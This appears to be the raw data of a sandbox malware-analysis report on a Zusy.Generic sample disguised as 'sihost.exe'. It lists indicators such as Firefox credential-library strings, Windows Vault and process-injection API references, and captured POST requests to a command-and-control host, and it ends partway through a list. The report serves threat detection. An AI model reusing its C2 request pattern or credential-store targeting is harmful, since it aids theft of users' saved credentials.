24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 43:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Zusy.Generic Sample 9a8a979e60fd… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 9a8a979e60fd…. Malware family: Zusy.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0","keywords":["Malicious","Zusy.Generic","malware analysis","sandbox report","threat intelligence","9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0"],"about":{"@type":"SoftwareApplication","name":"sihost.exe","applicationCategory":["peexe","executable"],"identifier":"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Zusy.Generic","antivirusDetections":{"malicious":19,"total":25},"behavioralIndicators":{"malicious":12,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4ee,Found string "%s\nss3.dll" (Indicator: "\nss3.dll"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found string "efox\nss3.dll" (Indicator: "\nss3.dll"; Source: "00000000-00003192.00000000.67782.00259000.00000004.mdmp") Found string ":\Program Files\Mozilla Firefox\nss3.dll" (Indicator: "\nss3.dll"; Source: "00000000-00003192.00000000.67782.00259000.00000004.mdmp") Found string ":\Windows\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00003192.00000000.67782.00259000.00000004.mdmp") Found string "iles\Mozilla Firefox\softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00003192.00000000.67782.00259000.00000004.mdmp") Found string "softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00003192.00000000.67782.00259000.00000004.mdmp, 00000000-00003192.00000001.69702.00259000.00000004.mdmp, 00000000-00003192.00000002.71621.00259000.00000004.mdmp, 00000000-00003192.00000003.72568.00259000.00000004.mdmp") Found string "%s\nss3.dll" (Indicator: "\nss3.dll"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp")26:Tcbe,Contains base64 string in header "POST" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 192Connection: close" Contains base64 string in header "/a12/fre" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 192Connection: close" Contains base64 string in header "Host" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 192Connection: close" Contains base64 string in header "suAccept" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 192Connection: close" Contains base64 string in header "Type" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 192Connection: close" Contains base64 string in header "Encoding" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 192Connection: close" Contains base64 string in header "POST" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 165Connection: close" Contains base64 string in header "/a12/fre" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 165Connection: close" Contains base64 string in header "Host" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 165Connection: close" Contains base64 string in header "suAccept" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 165Connection: close" Contains base64 string in header "Type" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 165Connection: close" Contains base64 string in header "Encoding" in header "POST /a12/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: sempersim.suAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 7556D7A0Content-Length: 165Connection: close"27:T13ae,"sihost.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000777f95e0d77982922009c01220000002200e214026e550500001f00200005000000f5f60777dd5e0d77d013026e58ab25002c14026eed5e0d77e0ca120098292200000021770000026e10000000e0000000e0002177000000004cca1200a86b220018cb120095e1037798292200fc01000000000000ad5e0d7700002177000000005815026ee00021773cca1200e800000018cb120095e103778d9c1800fefffffff5f60777634d0877982922006615026e2c140200b2f40777695f0d7764cb12000000026e0000026e804d08774d5f0d77e8000000e800026e0000000030cc1200 (UID: 00000000-00003192) "sihost.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180000000da0b4e7 (UID: 00000000-00003192) "sihost.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000012006826ac00bcb2120080f4b6760000ac000000000089f4b67683ec88e70200000030b312002cb3120024b2120028b21200d8b3120095e103777588180080b21200c83ac076f4b21200d58cb87630b31200c4b2120042a4b676a802c07604b31200d2f4b676080000006ef5b67644f5b6763bed88e70200000070aab0680000130026bbb068d8b21200020000000000130070aab06808b3120042a4b676a802c0764cb3120010a9b06808000000e6a8b068e6e3c4e50200000070aab0680000130026bbb0689c26ac006826ac0018b312008050bc68d8b31200f9f2b46842f8668d (UID: 00000000-00003192) "sihost.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000ff2b077765260d7711000000f858240000002200f8592400000000000b00c500d2010000000000000f00000011000000306dac000000ac00e06fac0090b21200145c0777435c07770000000045000000b4b21200110000000000ac00306dac00b4b21200145c0777435c0777d1260d77020000000c02ac000000ac005001ac00d30100000700d9005001ac0000002200f8b212000600de0045000000000000005001ac00a06d220038e48c0020000000560000000000000011000000906a2200b06b2200f8f32600586f22000000000056000056c400ac007601007795e10377 (UID: 00000000-00003192) "sihost.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff7f0000000000000a000000000000000000000020eb120020eb1200b03620024c37200201000000507a2600d070b36c000010021c0000000000100220000000e090210258eb1200e92ae16c (UID: 00000000-00003192) "sihost.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000120024f71200c4ff12003054c86cc14b6c8bfefffffff0f612002b61c76ca0f6120040594100405941004461c76c24f712000000000000000000000000000000000000000000000000000100000000000000000078720000000010f7120000000000000000000000000024f7120000000000000000000000000000000000ddbcb4e718f71200186d177518f712002a6d1775000078720000000000007872bc8ab1ce0f0010004059410060f712002ac4c66c00007872182778720000000037c4c66c0000000000000000000000000000000000000000000000000000787200000000 (UID: 00000000-00003192) "sihost.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003192) "sihost.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000ec012200000022005001220048050000e4e91200500122001a00000074012200406c270002000000005c0777500122000f00000050a727000000220078002700000000008000098900002200a0fb260000000000020000020000000010fc260080202700c4002200100000000000220000800000a0fb260050ea12000464077738012200e0630777357e0d770000000000002200a8fb2600a8fb2600a3fb2600406c2700500122000000220000002200406c27005001220070ea12000000220050012200feffffff62050067500122000200000268000000620500670f000000 (UID: 00000000-00003192)28:T52f1,Found reference to API (Indicator: "FlsFree"; File: "sihost") Found reference to API (Indicator: "FlsSetValue"; File: "sihost") Found reference to API (Indicator: "FlsGetValue"; File: "sihost") Found reference to API (Indicator: "FlsAlloc"; File: "sihost") Found reference to API (Indicator: "GetProcessWindowStation"; File: "sihost") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "sihost") Found reference to API (Indicator: "GetLastActivePopup"; File: "sihost") Found reference to API (Indicator: "GetActiveWindow"; File: "sihost") Found reference to API (Indicator: "MessageBoxW"; File: "sihost") Found reference to API (Indicator: "GetVolumeNameForVolumeMountPointA"; File: "sihost") Found reference to API (Indicator: "GetComputerNameA"; File: "sihost") Found reference to API (Indicator: "SetDefaultCommConfigA"; File: "sihost") Found reference to API (Indicator: "GetConsoleAliasesLengthW"; File: "sihost") Found reference to API (Indicator: "GetLocaleInfoA"; File: "sihost") Found reference to API (Indicator: "GetConsoleAliasExesA"; File: "sihost") Found reference to API (Indicator: "CommConfigDialogA"; File: "sihost") Found reference to API (Indicator: "FindResourceW"; File: "sihost") Found reference to API (Indicator: "BuildCommDCBAndTimeoutsA"; File: "sihost") Found reference to API (Indicator: "MapUserPhysicalPages"; File: "sihost") Found reference to API (Indicator: "OpenJobObjectA"; File: "sihost") Found reference to API (Indicator: "ReadConsoleA"; File: "sihost") Found reference to API (Indicator: "InterlockedDecrement"; File: "sihost") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "sihost") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "sihost") Found reference to API (Indicator: "GetModuleHandleExW"; File: "sihost") Found reference to API (Indicator: "WriteConsoleInputA"; File: "sihost") Found reference to API (Indicator: "SetComputerNameW"; File: "sihost") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "sihost") Found reference to API (Indicator: "SetThreadUILanguage"; File: "sihost") Found reference to API (Indicator: "FindNextVolumeMountPointA"; File: "sihost") Found reference to API (Indicator: "ConvertFiberToThread"; File: "sihost") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "sihost") Found reference to API (Indicator: "GetCompressedFileSizeW"; File: "sihost") Found reference to API (Indicator: "WaitNamedPipeW"; File: "sihost") Found reference to API (Indicator: "EnumTimeFormatsA"; File: "sihost") Found reference to API (Indicator: "WriteFile"; File: "sihost") Found reference to API (Indicator: "GetCommandLineA"; File: "sihost") Found reference to API (Indicator: "GetDriveTypeA"; File: "sihost") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "sihost") Found reference to API (Indicator: "FindResourceExA"; File: "sihost") Found reference to API (Indicator: "GetConsoleCP"; File: "sihost") Found reference to API (Indicator: "LoadLibraryW"; File: "sihost") Found reference to API (Indicator: "GetConsoleMode"; File: "sihost") Found reference to API (Indicator: "ReadConsoleInputA"; File: "sihost") Found reference to API (Indicator: "SetConsoleCP"; File: "sihost") Found reference to API (Indicator: "DeleteVolumeMountPointW"; File: "sihost") Found reference to API (Indicator: "EnumSystemCodePagesA"; File: "sihost") Found reference to API (Indicator: "GetFileAttributesW"; File: "sihost") Found reference to API (Indicator: "SetSystemPowerState"; File: "sihost") Found reference to API (Indicator: "GetAtomNameW"; File: "sihost") Found reference to API (Indicator: "CreateFileW"; File: "sihost") Found reference to API (Indicator: "GetACP"; File: "sihost") Found reference to API (Indicator: "GetVolumePathNameA"; File: "sihost") Found reference to API (Indicator: "GetStartupInfoW"; File: "sihost") Found reference to API (Indicator: "GetNamedPipeHandleStateW"; File: "sihost") Found reference to API (Indicator: "GetConsoleAliasesW"; File: "sihost") Found reference to API (Indicator: "FindFirstFileA"; File: "sihost") Found reference to API (Indicator: "OpenMutexW"; File: "sihost") Found reference to API (Indicator: "GetLastError"; File: "sihost") Found reference to API (Indicator: "SetLastError"; File: "sihost") Found reference to API (Indicator: "PeekConsoleInputW"; File: "sihost") Found reference to API (Indicator: "VerLanguageNameA"; File: "sihost") Found reference to API (Indicator: "SetVolumeLabelW"; File: "sihost") Found reference to API (Indicator: "HeapUnlock"; File: "sihost") Found reference to API (Indicator: "MoveFileW"; File: "sihost") Found reference to API (Indicator: "CopyFileA"; File: "sihost") Found reference to API (Indicator: "GetTempFileNameA"; File: "sihost") Found reference to API (Indicator: "FindClose"; File: "sihost") Found reference to API (Indicator: "LoadLibraryA"; File: "sihost") Found reference to API (Indicator: "LocalAlloc"; File: "sihost") Found reference to API (Indicator: "CreateHardLinkW"; File: "sihost") Found reference to API (Indicator: "AddAtomW"; File: "sihost") Found reference to API (Indicator: "RemoveDirectoryW"; File: "sihost") Found reference to API (Indicator: "SetCommMask"; File: "sihost") Found reference to API (Indicator: "GetTapeParameters"; File: "sihost") Found reference to API (Indicator: "FoldStringW"; File: "sihost") Found reference to API (Indicator: "GetPrivateProfileSectionNamesA"; File: "sihost") Found reference to API (Indicator: "FindNextFileA"; File: "sihost") Found reference to API (Indicator: "GetModuleHandleA"; File: "sihost") Found reference to API (Indicator: "GetStringTypeW"; File: "sihost") Found reference to API (Indicator: "GetConsoleTitleW"; File: "sihost") Found reference to API (Indicator: "VirtualProtect"; File: "sihost") Found reference to API (Indicator: "FatalAppExitA"; File: "sihost") Found reference to API (Indicator: "GetShortPathNameW"; File: "sihost") Found reference to API (Indicator: "SetCalendarInfoA"; File: "sihost") Found reference to API (Indicator: "OpenSemaphoreW"; File: "sihost") Found reference to API (Indicator: "FindFirstVolumeW"; File: "sihost") Found reference to API (Indicator: "ReadConsoleOutputCharacterW"; File: "sihost") Found reference to API (Indicator: "DeleteFileA"; File: "sihost") Found reference to API (Indicator: "CharUpperW"; File: "sihost") Found reference to API (Indicator: "CharUpperBuffA"; File: "sihost") Found reference to API (Indicator: "WinHttpReadData"; File: "sihost") Found reference to API (Indicator: "MoveFileA"; File: "sihost") Found reference to API (Indicator: "HeapFree"; File: "sihost") Found reference to API (Indicator: "HeapAlloc"; File: "sihost") Found reference to API (Indicator: "GetProcAddress"; File: "sihost") Found reference to API (Indicator: "GetModuleHandleW"; File: "sihost") Found reference to API (Indicator: "ExitProcess"; File: "sihost") Found reference to API (Indicator: "DecodePointer"; File: "sihost") Found reference to API (Indicator: "WideCharToMultiByte"; File: "sihost") Found reference to API (Indicator: "HeapReAlloc"; File: "sihost") Found reference to API (Indicator: "GetCommandLineW"; File: "sihost") Found reference to API (Indicator: "HeapSetInformation"; File: "sihost") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "sihost") Found reference to API (Indicator: "HeapCreate"; File: "sihost") Found reference to API (Indicator: "GetStdHandle"; File: "sihost") Found reference to API (Indicator: "GetModuleFileNameW"; File: "sihost") Found reference to API (Indicator: "EncodePointer"; File: "sihost") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "sihost") Found reference to API (Indicator: "DeleteCriticalSection"; File: "sihost") Found reference to API (Indicator: "LeaveCriticalSection"; File: "sihost") Found reference to API (Indicator: "EnterCriticalSection"; File: "sihost") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "sihost") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "sihost") Found reference to API (Indicator: "IsDebuggerPresent"; File: "sihost") Found reference to API (Indicator: "TerminateProcess"; File: "sihost") Found reference to API (Indicator: "GetCurrentProcess"; File: "sihost") Found reference to API (Indicator: "TlsAlloc"; File: "sihost") Found reference to API (Indicator: "TlsGetValue"; File: "sihost") Found reference to API (Indicator: "TlsSetValue"; File: "sihost") Found reference to API (Indicator: "TlsFree"; File: "sihost") Found reference to API (Indicator: "InterlockedIncrement"; File: "sihost") Found reference to API (Indicator: "GetCurrentThreadId"; File: "sihost") Found reference to API (Indicator: "GetCPInfo"; File: "sihost") Found reference to API (Indicator: "GetOEMCP"; File: "sihost") Found reference to API (Indicator: "IsValidCodePage"; File: "sihost") Found reference to API (Indicator: "SetHandleCount"; File: "sihost") Found reference to API (Indicator: "GetFileType"; File: "sihost") Found reference to API (Indicator: "CloseHandle"; File: "sihost") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "sihost") Found reference to API (Indicator: "GetTickCount"; File: "sihost") Found reference to API (Indicator: "GetCurrentProcessId"; File: "sihost") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "sihost") Found reference to API (Indicator: "Sleep"; File: "sihost") Found reference to API (Indicator: "HeapSize"; File: "sihost") Found reference to API (Indicator: "RtlUnwind"; File: "sihost") Found reference to API (Indicator: "LCMapStringW"; File: "sihost") Found reference to API (Indicator: "MultiByteToWideChar"; File: "sihost") Found reference to API (Indicator: "RaiseException"; File: "sihost") Found reference to API (Indicator: "SetFilePointer"; File: "sihost") Found reference to API (Indicator: "SetStdHandle"; File: "sihost") Found reference to API (Indicator: "FlushFileBuffers"; File: "sihost") Found reference to API (Indicator: "WriteConsoleW"; File: "sihost") Found reference to API (Indicator: "RtlNtStatusToDosError"; File: "00000000-00003192.00000002.71621.00246000.00000040.mdmp") Found reference to API (Indicator: "NtWriteVirtualMemory"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultEnumerateItems"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultFree"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultGetItem"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultOpenVault"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultCloseVault"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwReadVirtualMemory"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwAllocateVirtualMemory"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "RtlCreateUserThread"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "RtlSetLastWin32Error"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "NtFreeVirtualMemory"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwQueryInformationProcess"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "LdrGetProcedureAddress"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "GetProcessHeap"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "CoInitialize"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "CoUninitialize"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "CoCreateInstance"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00003192.00000000.67782.00246000.00000040.mdmp, 00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000002.71621.00246000.00000040.mdmp, 00000000-00003192.00000003.72568.00246000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "LdrGetProcedureAddress"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "RtlSetLastWin32Error"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwQueryInformationProcess"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "RtlCreateUserThread"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwAllocateVirtualMemory"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "NtFreeVirtualMemory"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "NtWriteVirtualMemory"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "ZwReadVirtualMemory"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultEnumerateItems"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultFree"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultGetItem"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultOpenVault"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultCloseVault"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp")29:T3390,"SOFTWARE\Mozilla\Pale Moon" in Source: 40723-766-004094E7 "SOFTWARE\Mozilla\FossaMail" in Source: 